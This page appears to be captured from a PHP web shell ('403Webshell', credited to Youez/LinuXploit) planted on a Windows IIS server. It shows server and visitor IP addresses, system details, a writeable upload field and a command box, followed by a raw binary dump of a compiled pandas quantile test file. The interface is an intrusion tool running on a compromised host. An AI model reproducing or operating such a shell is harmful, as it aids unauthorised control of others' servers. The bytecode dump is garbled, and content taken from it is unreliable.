403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/pandas/tests/frame/methods/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/pandas/tests/frame/methods/__pycache__/test_quantile.cpython-312.pyc
�

/	�g�����ddlZddlZddlZddlmZmZmZmZddl	m
Zejddgddggd���d	��Z
Gd
�d�ZGd�d
�Zy)�N)�	DataFrame�Index�Series�	Timestamp�linear�single�nearest�tablec�$�dj|�S)N�-)�join��xs �JC:\Python312\Lib\site-packages\pandas/tests/frame/methods/test_quantile.py�<lambda>rs��s�x�x�PQ�{����params�idsc��|jS)z.(interpolation, method) arguments for quantile)�param)�requests r�
interp_methodrs��
�=�=�rc�p�eZdZejjdeeejjddg��eejjddg��d��eddgd	�
�geegd�d�
��edgd	�
�gg�d��Zd�Zd�Z
d�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zejjdgd ��d!��Zejjd"d#dd	d#gd	dgg�d$��Zd%�Zd&�Zd'�Zd(�Z d)�Z!d*�Z"d+�Z#d,�Z$d-�Z%d.�Z&d/�Z'y0)1�TestDataFrameQuantilezdf,expected����)rr��?�@��?��name)gN��?�@�
Sparse[float]��dtyper%c�r�|j�}|jd�}tj||�y)Nr')�quantile�astype�tm�assert_series_equal)�self�df�expected�results    r�test_quantile_sparsez*TestDataFrameQuantile.test_quantile_sparses-��*������?�?�?�3��
���v�x�0rc	���|\}}|}|jddd||��}t|jD�	cgc]}	tj||	d���c}	|jd��}
|dk(rtj||
�nutj|j|
j�|jtjj|d�	��|j|
jk(sJ�|jd
dd||��}t|jD�cgc]%}tj|j|d���'c}|jd
��}
|dk(rtj||
�ytj|j|
j�|jtjj|d�	��|j|
jk(sJ�ycc}	wcc}w)
N皙�����?rT��axis�numeric_only�
interpolation�method�
��indexr$rz%Name set incorrectly for arraymanager��reason��������?r�Z)r+r�columns�np�
percentiler-r.�assert_index_equalr=�applymarker�pytest�mark�xfailr$�loc)r/�datetime_framer�using_array_managerrr9r:r0r2�colr1�dates            r�
test_quantilez#TestDataFrameQuantile.test_quantile0s���!.��
�v�
������a�d�-�PV��
���35�:�:�>�C�R�]�]�2�c�7�B�
'�>��*�*��
��
�H�$��"�"�6�8�4��!�!�&�,�,����?�������!�!�'�0W�"��
�
�;�;�(�-�-�/�/�/�����a�d�-�PV��
���9;���B��R�]�]�2�6�6�$�<��
,�B��(�(��
��
�H�$��"�"�6�8�4��!�!�&�,�,����?�������!�!�'�0W�"��
�
�;�;�(�-�-�/�/�/��E
?��(
Cs� G/�*G4c��|\}}tggd��jddd||��}tj|d�rtj|d�sJ�y)N�r�yr5rTr6rrR)rr+rC�isnan)r/rr9r:�qs     r�
test_emptyz TestDataFrameQuantile.test_empty]sa�� -��
�v��B�R�(�)�2�2��a�d�-�PV�
3�
���x�x��#���B�H�H�Q�s�V�$4�4�4�$4rc��|\}}tgd�gd�d��}|jdd||��}|jd��jd�}|dk(r"|dzj	t
j�}|d	k(r1|r/|jtjjd
���tj||�y)N)�ArW�BrX)rrrr)�col1�col2r"T�r8r9r:�r8r	r
�Axis name incorrectly set.r>)
rr+�median�renamer,rC�int64rFrGrHrIr-r.)	r/rrrLr9r:r0�rs�xps	         r�test_non_numeric_exclusionz0TestDataFrameQuantile.test_non_numeric_exclusionds��� -��
�v�
� 4�l�K�
L��
�[�[��d�-���
���Y�Y�D�Y�
)�
0�
0��
5���I�%��s�(�"�"�2�8�8�,�B��W��!4������� 1� 1�9U� 1� V�W�
���r�2�&rc��|\}}tgd�gd�d�gd���}|jdd||��}tgd�gd�d�	�}|d
k(r|jtj
�}|dk(r1|r/|j
tjjd�
��tj||�|jddgd||��}tddgddgddgd�ddg��}|d
k(rU|jddd�fxxdzcc<|jddd�fxxdz
cc<|jtj
�}tj||d��y)N�rrr�rrr�rWrX�r=r"r�r7r9r:�r �@r!r<r	r
r]r>��?r g�?rkg@r!g@r��?T)�check_index_type)rr+rr,rCr`rFrGrHrIr-r.�iloc�assert_frame_equal�	r/rrrLr9r:r0r2r1s	         r�	test_axiszTestDataFrameQuantile.test_axisqs=�� -��
�v�
�Y�Y�7�y�
I�����S�q�
�f��U���/���E���I�%����r�x�x�0�H��W��!4������� 1� 1�9U� 1� V�W�
���v�x�0����
�$�K�a�}�V��
����d���d���d��<�S�$�K�
���I�%��M�M�!�Q�$��3�&���M�M�!�Q�$��4�'�����r�x�x�0�H�
���f�h��Frc�`�|\}}tgd�gd�g�}|jddd||��}tddgd	dgd�
�}|dk(r|jtj
�}|dk(r1|r/|j
tjjd
���tj||�y)Nre)�a�brr"rTr6�@�@rr<r	r
r]r>)rr+rr,rCr`rFrGrHrIr-r.rqs	         r�test_axis_numeric_only_truez1TestDataFrameQuantile.test_axis_numeric_only_true�s���!.��
�v�
�	�=�1�
2������a�d�-�PV��
���3��*�Q��F��=���I�%����r�x�x�0�H��W��!4������� 1� 1�9U� 1� V�W�
���v�x�0rc�H�|\}}tjddd��}t|�}t|�}|j	d||��}	tdgdd	�
�}
|dk(r1|r/|jtjjd�
��tj|	|
�y)N�
2016-01-01r�
US/Pacific��periods�tzFr[z2016-01-02 00:00:00r"�datetime64[ns, US/Pacific])r$r)r
r]r>)�pd�
date_rangerrr+rFrGrHrIr-r.)r/rrrLr9r:�dti�serr0r2r1s           r�test_quantile_date_rangez.TestDataFrameQuantile.test_quantile_date_range�s��� -��
�v��m�m�L�!��E���S�k��
�s�^������m�F��
���
"�#�#�5Q�
���W��!4������� 1� 1�9U� 1� V�W�
���v�x�0rc���|\}}tgd�gd�tjdd��gd�d��}|jdd	d
||��}t	gd�d�
�}|dk(r|dz}|dk(r1|r/|jtjjd���tj||�d}	t
jt|	��5|jdd	d��ddd�y#1swYyxYw)Nre�r&rvrw�20130101r�r})�foo�bar�baz)rWrX�C�Dr"rTr6rjr#r	r
r]r>z>'<' not supported between instances of 'Timestamp' and 'float'��matchF�r7r8)
rr�r�r+rrFrGrHrIr-r.�raises�	TypeError�
r/rrrLr9r:r0r2r1�msgs
          r�test_quantile_axis_mixedz.TestDataFrameQuantile.test_quantile_axis_mixed�s��� -��
�v�
��$��]�]�:�q�9�*�	
�
������a�d�-�PV��
���/��4���I�%���O�H��W��!4������� 1� 1�9U� 1� V�W�
���v�x�0�O��
�]�]�9�C�
0�	9��K�K��!�%�K�8�	9�	9�	9�s�	C'�'C0c�6�|\}}|dk(r1|r/|jtjjd���t	gd�gd�d�gd���}|jdd	||�
�}t
ddgd
dgd��}|dk(r|jtj�}tj||�|jdd||�
�}|dk(r|jtj�}tj||�|jdd||�
�}t
gd�gd�d��}|dk(r|jtj�}tj||�|jdd||�
�}tj||�d}	tjt|	��5|jdd||�
�ddd�d}	tjt|	��5|jdd��ddd�y#1swY�CxYw#1swYyxYw)Nr
r]r>rerfrgrhr"rrir&rvrWrXr<r	r=rrjrBz*No axis named -1 for object type DataFramer�r5���z.No axis named column for object type DataFrame�column�r7)rFrGrHrIrr+rr,rCr`r-r.r��
ValueErrorr�s
          r�test_quantile_axis_parameterz2TestDataFrameQuantile.test_quantile_axis_parameter�s��� -��
�v��W��!4������� 1� 1�9U� 1� V�W�
�Y�Y�7�y�
I�����S�q�
�f��U���3��*�S�#�J�S�A���I�%����r�x�x�0�H�
���v�x�0��;�;��g�]�6��
���I�%����r�x�x�0�H�
���v�x�0����S�q�
�f��U���/���E���I�%����r�x�x�0�H�
���v�x�0�����i�}�V��
��	���v�x�0�:��
�]�]�:�S�
1�	R��K�K��"�M�&�K�Q�	R�>��
�]�]�:�S�
1�	,��K�K��(�K�+�	,�	,�	R�	R��	,�	,�s�+H�&H�H�Hc��tgd�gd�d�gd���}|jddd��}tgd�gd�d�	�}tj||�tjtjgd�gd�g�dd
d��}t|gd�dd�
�}tj||�tgd�gd�d�gd���}|jddd��}tgd�gd�d�	�}tj||�tjtjgd�gd�g�dd
d��}t|gd�dd�
�}tj||�|jddgdd��}tddgddgddgd�ddg��}tj||�tggd��}|jdd
d��}tj|d�rtj|d�sJ�tgd�gd�gd�ggd���}|jd dgd!�"�}tgd#�gd$�gd dggd��%�}tj||�y)&Nrerfrgrhr"rr	�r7r9r<r)r7r:r`�r=r$r)�r%r&rvr��float64rl�lowerr%r&rvrQr5�higherrrR�rrr�rrr�rrr�rtru�c�rBrm�midpoint)r9�r r r �r&r&r&�r=rB)
rr+rr-r.rCrD�arrayrprS)r/r0r2r1�exprTs      r�test_quantile_interpolationz1TestDataFrameQuantile.test_quantile_interpolation�s���Y�Y�7�y�
I�����S�q�	��B���)�9�3�?��
���v�x�0��m�m��H�H�i��+�,����	
���#�Y�S��H��
���v�x�0��_�?�C�9�
U�����S�q�	��B���/���E��
���v�x�0��m�m��H�H�o��7�8����	
���#�Y�S�	�J��
���v�x�0����c�4�[�q���H����c�
��S�z�s�C�j�9�#�t��
��	���f�h�/��R�b�)�
*���K�K��!�8�K�<���x�x��#���B�H�H�Q�s�V�$4�4�4��	�9�i�8�/�
R�����d�C�[�
��C���
�o�.���+�#�
��
	���f�h�/rc�t�|}|jdddd��}|dtj|dd�k(sJ�y)Nr5rTr)r7r8r9rWr;)r+rCrD)r/rKr0rTs    r�$test_quantile_interpolation_datetimez:TestDataFrameQuantile.test_quantile_interpolation_datetime&s@�����K�K��!�$�h�K�O����v����r�#�w��3�3�3�3rc��|}|jd�}|dtj|dd�k(sJ�|jddd��}|dtj|dd�k(sJ�tj||�y)Nr5rWr;rrr�)r+rCrDr-r.)r/�	int_framer0rT�q1s     r�test_quantile_interpolation_intz5TestDataFrameQuantile.test_quantile_interpolation_int.s�����K�K������v����r�#�w��3�3�3�3��[�[��1�H�[�
=���#�w�"�-�-��3���4�4�4�4�
���q�"�%rc�z�|\}}tgd�gd�gd�ggd���}|jddg||��}tgd	�gd
�gddggd���}|dk(r|jtj�}|d
k(r1|r/|jtjjd���tj||�y)Nr�r�r�r�r�rmr"�r9r:r�r�r�r	r
r]r>�rr+r,rCr`rFrGrHrIr-rprqs	         r�test_quantile_multiz)TestDataFrameQuantile.test_quantile_multi;s��� -��
�v�
�	�9�i�8�/�
R�����d�C�[�
�f��U���
�o�.���+�#�
��
�I�%����r�x�x�0�H��W��!4������� 1� 1�9U� 1� V�W�
���f�h�/rc�|�|\}}tgd�gd�gd�ggd���}|jddgd||�	�}tgd
�gdzddggd��
�}|dk(r|jtj�}|dk(r1|r/|jtjjd���tj||�y)Nr�r�r�r�r�rmr"rrir�r)rrrr�r	r
r]r>r�rqs	         r�test_quantile_multi_axis_1z0TestDataFrameQuantile.test_quantile_multi_axis_1Js��� -��
�v�
�	�9�i�8�/�
R�����
�3�K�a�}�V��
���
���!�$���i�
���I�%����r�x�x�0�H��W��!4������� 1� 1�9U� 1� V�W�
���f�h�/rc��|\}}tggd��jddgd||��}ttjtjgtjtjgd�ddg��}t	j
||�y)NrQr5r@rrirh)rr+rC�nanr-rp)r/rr9r:r2r1s      r�test_quantile_multi_emptyz/TestDataFrameQuantile.test_quantile_multi_emptyYs~�� -��
�v���"�-�.�7�7�
�#�J�Q�m�F�8�
����6�6�2�6�6�"�"�&�&�"�&�&�)9�:�3��*�
��	���f�h�/rc���tjddg�j|�}t|ddgd��}|j	dd��}td	gd
gd��}t
j||�|j	dd��}ttd
�d	gdd
gd��}t
j||�|j	dgd��}ttd
�j|�d	d�dg��}t
j||�tjddg�j|�|d<|ddgj	ddd��}ttd
�td�gddgdd|�d���}t
j||�|ddgj	dgdd��}ttd
�td�ggdgddgd|�d���}t
j||�|ddgj	dd��}tggtjd��}t
j||�|ddgj	dgd��}tdgg��}t
j||�y)N�2010�2011r��rtrur"Tr\rkrur<Fz2010-07-02 12:00:00rtrh�2012r�rr�z2011-07-02 12:00:00�M8[�]r��r=rBr)�r=r)r$r�)r��to_datetime�as_unitrr+rr-r.rrprCr�)r/�unitr�r0r2r1s      r�test_quantile_datetimez,TestDataFrameQuantile.test_quantile_datetimecsr���n�n�f�f�-�.�6�6�t�<��
�S��1�v�.�
/�����S�t��4���3�%��u�3�7��
���v�x�0����S�u��5���
�,�
-�s�3�C��:�C�
��	���v�x�0����c�U���7����1�2�:�:�4�@�s�K��%�
��	���f�h�/��.�.�&�&�!1�2�:�:�4�@��3���S�#�J��(�(��1�5�(�I���
�,�
-�y�9N�/O�P��a�&����v�Q�-�	
��	���v�x�0��S�#�J��(�(�#��Q�U�(�K����-�.�	�:O�0P�
Q�R��%���F���v�Q�-�	
��	���f�h�/��S�#�J��(�(��4�(�@���"�B�b�j�j�s�C��
���v�x�0��S�#�J��(�(�#��T�(�B���C�5�"�5��
���f�h�/rr))�datetime64[ns]rztimedelta64[ns]z	Period[D]c��|\}}tddg|��}|jddd||��}tggd|��}tj||�|jdgdd||��}tdgg�	�}tj
||�y)
Nrtru�rBr)r"rFr6r�r�)rr+rr-r.rp)r/r)rr9r:r0�resr1s        r�test_quantile_dt64_emptyz.TestDataFrameQuantile.test_quantile_dt64_empty�s���!.��
�v�
��S�z��
7���k�k��a�e�=�QW��
���"�B�S��>��
���s�H�-��k�k�
�E���'���
���C�5�"�5��
���c�8�,r�invalidr�c��d}|\}}tjt|��5|j|||��ddd�y#1swYyxYw)Nz2percentiles should all be in the interval \[0, 1\]r�r�)rGr�r�r+)r/r�rKrr�r9r:s       r�test_quantile_invalidz+TestDataFrameQuantile.test_quantile_invalid�sN��D�� -��
�v�
�]�]�:�S�
1�	Y��#�#�G�=�QW�#�X�	Y�	Y�	Y�s�A�A
c	�.�|\}}|dk(r1|r/|jtjjd���t	td�td�td�gtdd��tdd��tdd��gt
jd	�t
jd
�t
jd�gd��}|jd
d||��}ttd�tdd��t
jd
�gd
gd���}tj||�|jd
gd||��}t	td�tdd��t
jd
�ggd
ggd���}tj||�y)Nr
r]r>�
2011-01-01�
2011-01-02�
2011-01-03�
US/Eastern�r~�1 days�2 days�3 days�rWrXr�r"Fr[�r$r=r�)
rFrGrHrIrrr��	Timedeltar+rr-r.rp�	r/rrrLr9r:r0r�r�s	         r�test_quantile_boxz'TestDataFrameQuantile.test_quantile_box�s��� -��
�v��W��!4������� 1� 1�9U� 1� V�W�
��l�+��l�+��l�+���l�|�<��l�|�<��l�|�<���L�L��*��L�L��*��L�L��*��
�
��(�k�k��e�=���
����,�'��,�<�8����X�&�
�
�!�
��	���s�C�(��k�k�
�E��]�6��
����l�+��l�|�<��L�L��*��
��%�#�

��	���c�3�'rc
�@�ttd�tjtd�td�gtd�td�tjtd�gtdd��tjtdd��tdd��gtdd��tdd��tjtdd��gtjd�tjd�tjd�tjgtjtjd�tjd�tjd�gd	�td
���}|j
dd
��}ttd�td�tdd��tdd��tjd�tjd�gdtd
���}tj||�|j
dgd
��}ttd�td�tdd��tdd��tjd�tjd�ggdgtd
���}tj||�y)Nr�r�r�r�r�r�r�r�)rWrtrXrur�r��AaBbCcr�r"Fr\r�r�)rrr��NaTr��listr+rr-r.rp)r/r0r�r�s    r�test_quantile_box_natz+TestDataFrameQuantile.test_quantile_box_nat�s(��
��l�+��F�F��l�+��l�+�	��l�+��l�+��F�F��l�+�	��l�|�<��F�F��l�|�<��l�|�<�	��l�|�<��l�|�<��F�F��l�|�<�	��L�L��*��L�L��*��L�L��*��F�F�	��F�F��L�L��*��L�L��*��L�L��*�	�?%
�L��N�O(
��T�k�k�#�E�k�2����,�'��,�'��,�<�8��,�<�8����X�&����X�&�

���x�.�
��	���s�C�(��k�k�3�%�e�k�4����l�+��l�+��l�|�<��l�|�<��L�L��*��L�L��*�
�	
��%���N�

��	���c�3�'rc�6�|\}}|dk(r1|r/|jtjjd���t	tjdd�tjdd�d��}t
j|jd<|jd||�	�}td
|dk(rdnd
gd
dgd��}tj||�|jddg||�	�}t	d
dg|dk(rddgnd
dgd�ddg��}tj||�|jdd||��}ttjdd�d��}tj||�|jddgd||��}t	tjdd�gdzddg��}|dk(rt
j|jd<tj||�t
j|d<|jd||�	�}td
t
jgd
dgd��}tj||�|jddg||�	�}t	d
dgt
jt
jgd�ddg��}tj||�y)Nr
r]r>rg@r�)r�rr"r�rvrrkrtrur<rlrwg
@rhrir%r#rr	)rr�)rFrGrHrIrrC�aranger�ror+rr-r.rpr�s	         r�test_quantile_nanz'TestDataFrameQuantile.test_quantile_nanAs[�� -��
�v��W��!4������� 1� 1�9U� 1� V�W�
�R�Y�Y�q�#�.�R�Y�Y�q�#�5F�G�
H�����������k�k�#�]�6�k�J���
��(�2�#��<�S�#�J�UX�
��	���s�C�(��k�k�3��+�]�6�k�R����3�Z�$1�X�$=�c�4�[�C��:�
���+�
��	���c�3�'��k�k�#�A�]�6�k�R���R�Y�Y�s�C�(�s�3��
���s�C�(��k�k�
�$�K�a�}�V��
������3��,�-��1�#�t��E���I�%� �f�f�C�H�H�U�O�
���c�3�'��&�&��3���k�k�#�]�6�k�J���c�2�6�6�]�3��*�3�?��
���s�C�(��k�k�3��+�]�6�k�R���s�C�j�������/?�@��d��T��
���c�3�'rc�^�|\}}|dk(r1|r/|jtjjd���t	dt
jt
jt
jgid|�d���}|jdd	||�
�}tt
jgdgdd|�d���}	tj||	�|jdgd	||�
�}t	dt
jgidgd|�d���}	tj||	�t	td
�td�td�gt
jt
jt
jgd�d|�d���}|jdd	||�
�}ttd�t
jgddgdd|�d���}	tj||	�|jdgd	||�
�}t	td�t
jggdgddgd|�d���}	tj||	�y)Nr
r]r>rtr�r�r(r"Fr[r�)r=r)z
2012-01-01z
2012-01-02z
2012-01-03r�rur�)
rFrGrHrIrr�r�r+rr-r.rpr)
r/rrrLr�r9r:r0r�r�s
          r�test_quantile_natz'TestDataFrameQuantile.test_quantile_natps"�� -��
�v��W��!4������� 1� 1�9U� 1� V�W�
��b�f�f�b�f�f�b�f�f�5�6��D�6��m�
L���k�k��e�=���
���b�f�f�X�c�U��c�$��q�M�J��
���s�C�(��k�k�
�E��]�6��
����r�v�v�h���u�c�$��q�M�J��
���c�3�'���l�+��l�+��l�+��
�f�f�b�f�f�b�f�f�-�

���v�Q�-�

���k�k��e�=���
���
�|�
$�b�f�f�-���*����v�Q�-�	
��	���s�C�(��k�k�
�E��]�6��
�����%�r�v�v�
.�/��%��#�J���v�Q�-�	
��	���c�3�'rc�z�|\}}tddgd��}|jd||��}ttjtjgddgd��}tj||�|jdg||��}ttjtjggddgdg��}tj||�|jdd	||�
�}tggdd��}tj||�|jdgd	||�
�}tgdg��}tj||�y)Nrtrur�r�r"r�r<)rBr=rrir�)rr+rrCr�r-r.rp�r/rr9r:r0r�r�s       r�"test_quantile_empty_no_rows_floatsz8TestDataFrameQuantile.test_quantile_empty_no_rows_floats�s�� -��
�v�
��S�z��
;���k�k�#�]�6�k�J���b�f�f�b�f�f�%�c�3�Z�c�B��
���s�C�(��k�k�3�%�}�V�k�L���"�&�&�"�&�&�)�*�S�#�J�s�e�L��
���c�3�'��k�k�#�A�]�6�k�R���R�r���=��
���s�C�(��k�k�3�%�a�}�V�k�T����3�%�0��
���c�3�'rc���|\}}tddgd��}|jd||��}ttjtjgddgd��}tj||�y)Nrtrur`r�r"r�r<)rr+rrCr�r-r.r�s       r� test_quantile_empty_no_rows_intsz6TestDataFrameQuantile.test_quantile_empty_no_rows_ints�s_�� -��
�v�
��S�z��
9���k�k�#�]�6�k�J���b�f�f�b�f�f�%�c�3�Z�c�B��
���s�C�(rc�&�|\}}tddgd��}|jdd||��}ttjtjgddgdd��}tj||�|djjd	�|d<|jdd||��}|jt�}|d
k(rGd}tjt|��5|jtjd�
�}ddd�tj||�|djjd	�|d<|jdd||��}|j|dj �}tj||�y#1swY��xYw)Nrtrur�r�r"Fr[r�z
US/Centralr	z.The 'downcast' keyword in fillna is deprecatedr�)�downcast)rr+rr�r�r-r.�dt�tz_localizer,�object�assert_produces_warning�
FutureWarning�fillnarCr�r))r/rr9r:r0r�r�r�s        r� test_quantile_empty_no_rows_dt64z6TestDataFrameQuantile.test_quantile_empty_no_rows_dt64�sv�� -��
�v�
��S�z�1A�
B���k�k��e�=���
���
�V�V�R�V�V��S�#�J�6F�S�
��	���s�C�(��S�'�*�*�(�(��6��3���k�k��e�=���
���j�j�� ���I�%�B�C��+�+�M��E�
9��j�j����%�j�8��
9�
���s�C�(��S�'�*�*�(�(��6��3���k�k��e�=���
���j�j��C����'��
���s�C�(�
9�
9�s�"F�Fc��|\}}ttjdd���}d|j_|jdd||��}t
ggdtj��}d|j_tj||�|jdgd||��}tgdgg�	�}d|j_tj||�y)
Nz1/1/18r�r�zcaptain tightpantsr"Tr[r�r�)
rr�r�rBr$r+rrCr�r=r-r.rp)r/rr9r:r0r2r1s       r�test_quantile_empty_no_columnsz4TestDataFrameQuantile.test_quantile_empty_no_columns�s��� -��
�v�
�r�}�}�X�q�9�
:��.��
�
������d�-���
���"�B�S��
�
�C��2�����
���v�x�0����
�E��M�&��
���R��u�b�9�� 4�����
���f�h�/rc��|\}}ttjjd�j	d�gd���}|ddz|d<|d}|s$t|jj�dk(sJ�|jd||��|r>d	|jd
<|jd|dd
k(sJ�|jdd	k7sJ�yd	|jd
<|jd|dd
k(sJ�|jdd	k(sJ�y)Nr)rrr�r�rWr�Fr[�cr)rr)rrC�random�default_rng�standard_normal�len�_mgr�blocksr+ro�values)r/rLr�using_copy_on_writer9r:r0r�s        r�test_quantile_item_cachez.TestDataFrameQuantile.test_quantile_item_cache�s��!.��
�v�
��I�I�!�!�!�$�4�4�V�<�o�
���S�'�A�+��3����g��"��r�w�w�~�~�&�!�+�+�+�
����m�F��S���C�H�H�Q�K��7�7�4�=�B�s�G�A�J�.�.�.��7�7�4�=�B�&�&�&��C�J�J�q�M��7�7�4�=�B�s�G�A�J�.�.�.��7�7�4�=�B�&�&�&rc��tjtd��5tt	d��jdd��ddd�y#1swYyxYw)NzInvalid method: foor�rr"r�)r:�rGr�r�r�ranger+�r/s r�test_invalid_methodz)TestDataFrameQuantile.test_invalid_methodsB��
�]�]�:�-B�
C�	<��e�A�h��(�(��U�(�;�	<�	<�	<�s�&A�Ac��tjtd��5tt	d��jddd��ddd�y#1swYyxYw)NzInvalid interpolation: foor�rr"r
r�)r:r9r	rs r� test_table_invalid_interpolationz6TestDataFrameQuantile.test_table_invalid_interpolationsH��
�]�]�:�-I�
J�	S��e�A�h��(�(��W�E�(�R�	S�	S�	S�s�'A�AN)(�__name__�
__module__�__qualname__rGrH�parametrizerrr��arrays�SparseArrayr3rOrUrcrrrxr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrr�rrrrs����[�[�����!�"�)�)�"7�"7��A��"?�@�!�"�)�)�"7�"7��A��"?�@�����S�z��,�
��&�!6�o�N�O���u�3�'�
�	
��$1�%�$1�+0�Z5�'�G�01� 1�$9�4&,�P70�r4�&�
0�
0�0�30�j�[�[����	
��-��-�,�[�[���Y��Q��b�	�C��8�(D�E�Y�F�Y�5(�nJ(�X-(�^4(�l(�*)� )�D0�&'�0<�Srrc��eZdZejej
ejje	d��ejjd����ejddd��ejddd	�
�ejdd��ejej"d�d
��ejej"d�d��gd���d��Zejd��Zd�Zd�Zd�Zd�Zd�Zejj3ddggdgdggdgdej4ej4gddgdgdej4ej4gddgdgg�d ��Zejj3d!d"ggdd"gd"ej8ej8gddgdd"gg�d#��Zejj3d$ej4ej4ge	d%�dgggdgg�d&��Zy')(�TestQuantileExtensionDtyper;z#raises when trying to add Intervalsr>)�marksrz�	r�)r}�freqr{r|z1 Dayr��Int64r(�Float64c�,�t|j�S)N)�strr)rs rrz#TestQuantileExtensionDtype.<lambda>)s��c�!�'�'�l�rrc�,�|j}d|_|S�NrW)rr$)r/r�idxs   rr=z TestQuantileExtensionDtype.indexs�� �m�m������
rc�d�||�j�}|tur	d|_|Sdg|_|Sr )�copyrr$rB)r/r=�frame_or_series�objs    rr%zTestQuantileExtensionDtype.obj1s=���e�$�)�)�+���f�$��C�H��
��%�C�K��
rc�r�t|t�r|j|�}|S|j|d��}|S)NFr\)�
isinstancerr+)r/r%�qsr2s    r�compute_quantilez+TestQuantileExtensionDtype.compute_quantile<s:���c�6�"��\�\�"�%�F��
��\�\�"�5�\�9�F��
rc���tjt|�tj��}tjjd�j
|�|j|}gd�}|j||�}|j}|jdk(rd}t|d|d|dg||d	�
�}t|�|�}tj||�y)Nr(r�r"rrrrrrr�rW�r)r=r$)rCr�r�intpr�r�shuffleror)r)r�typer-�assert_equal�	r/rr%r=�indexerr(r2�	exp_dtyper1s	         r�test_quantile_eaz+TestQuantileExtensionDtype.test_quantile_eaCs����)�)�C��J�b�g�g�6��
�	�	���a� �(�(��1��h�h�w���
���&�&�s�B�/���K�K�	��;�;�'�!�!�I��
�1�X�u�Q�x��r��+�9�B�S�
���4��9�X�&��
�����)rc��|j|jd<|j|jd<tjt	|�tj
��}tjjd�j|�|j|}gd�}|j||�}t|d|d|dg|j|d	�
�}t|�|�}tj||�y)Nrr�r(rr+rr���rWr,)�	_na_valuerorCr�rr-r�rr.r)rr)r/r-r0)r/r%r=r2r(r2r1s       r�test_quantile_ea_with_naz3TestQuantileExtensionDtype.test_quantile_ea_with_naYs����o�o���������������)�)�C��J�b�g�g�6��
�	�	���a� �(�(��1��h�h�w���
���&�&�s�B�/���
�1�X�u�Q�x��r��+�5�;�;�b�s�
���4��9�X�&��
�����)rc�>�|j|jddtj|j|j
k(�sJ�tjt|�tj��}tjjd�j|�|j|}gd�}|j||�}|jgd�d|j��}t||d��}t|�|�}t!j"||�y)	Nr(rr+)r�r�r�T)�
allow_fill�
fill_valuerWr<)r7rorC�all�dtypesr)r�rr-r�rr.r)�takerr/r-r0)r/rr%r=r2r(r2r1s        r�test_quantile_ea_all_naz2TestQuantileExtensionDtype.test_quantile_ea_all_nals����o�o�������v�v�c�j�j�E�K�K�/�0�0�0��)�)�C��J�b�g�g�6��
�	�	���a� �(�(��1��h�h�w���
���&�&�s�B�/���:�:�l�t����:�X���(�"�3�7���4��9�X�&��
�����)rc���tjt|�tj��}tjjd�j
|�|j|}d}|j||�}|j}|jdk(rd}td|di|d��}t|t�r
|d}||k(sJ�ytj||�y)	Nr(rr"rrrWr)r)r$)rCr�rr-r�rr.ror)r)rr'r-r.r1s	         r�test_quantile_ea_scalarz2TestQuantileExtensionDtype.test_quantile_ea_scalar~s����)�)�C��J�b�g�g�6��
�	�	���a� �(�(��1��h�h�w���
���&�&�s�B�/���K�K�	��;�;�'�!�!�I��3��a��/���E���c�6�"���}�H��X�%�%�%��"�"�6�8�4rz*dtype, expected_data, expected_index, axisr�rr`rtrurc��tddg|��}|jd|��}t|dt|�d��}t	j
||�y)Nrtrur�r"r�r��r$r=r)�rr+rrr-r.)r/r)�
expected_data�expected_indexr7r0r2r1s        r�test_empty_numericz-TestQuantileExtensionDtype.test_empty_numeric�sP����S�z��
7�����S�t��,�����5��+@�	�
��	���v�x�0rz:dtype, expected_data, expected_index, axis, expected_dtyper�c��tddg|��}|jd|d��}t|dt|�|��}t	j
||�y)Nrtrur�r"Fr�rCrD)	r/r)rErFr7�expected_dtyper0r2r1s	         r�test_empty_datelikez.TestQuantileExtensionDtype.test_empty_datelike�sR����S�z��
7�����S�t�%��@�����5��+@��
��	���v�x�0rz#expected_data, expected_index, axisrc�$�ttjddg�ddgtjddg�d��}|ddgjd	|d
��}t	|d	t|�tj��}tj||�y)
Nr�r�rr�r�r�rtr�r"Tr�rC)
rr�r�r+rrrCr�r-r.)r/rErFr7r0r2r1s       r�test_datelike_numeric_onlyz5TestQuantileExtensionDtype.test_datelike_numeric_only�s�����^�^�V�V�$4�5���V��^�^�V�V�$4�5�
�
���S�#�J��(�(��4�d�(�K�����5��+@��
�
�
��	���v�x�0rN)rrrrG�fixturerr��
IntervalIndex�from_breaksr
rHrI�period_ranger��timedelta_ranger�rCr�r=r%r)r4r8r?rArr�rGr�rJrLrrrrrs*���V�^�^��F�L�L�� � �,�,�U�2�Y�7��k�k�'�'�/T�'�U�
�
�B�O�O�L�!�#�>��B�M�M�,��l�C��B���w��2��B�H�H�Y�R�Y�Y�q�\��1��B�H�H�Y�R�Y�Y�q�\��3�

�
#�
��
���^�^�����*�,*�&*�$5�,�[�[���4�
��B��"�
�b�"�a� �
�������(�3��*�a�8�
�r�v�v�r�v�v�&��c�
�A�6�		
��1��1��[�[���D�
�r�2�q�*:�;�
�������/�#�s��Q�@P�Q�	
��	1��	1��[�[���-��f�f�b�f�f�
�u�Q�x��+�
��Q�K�	
��
1��
1rr)�numpyrCrG�pandasr�rrrr�pandas._testing�_testingr-rMrrrrrr�<module>rVsl���
���������
�x� �9�g�"6�7�=R�����
@S�@S�Fs1�s1r

Youez - 2016 - github.com/yon3zu
LinuXploit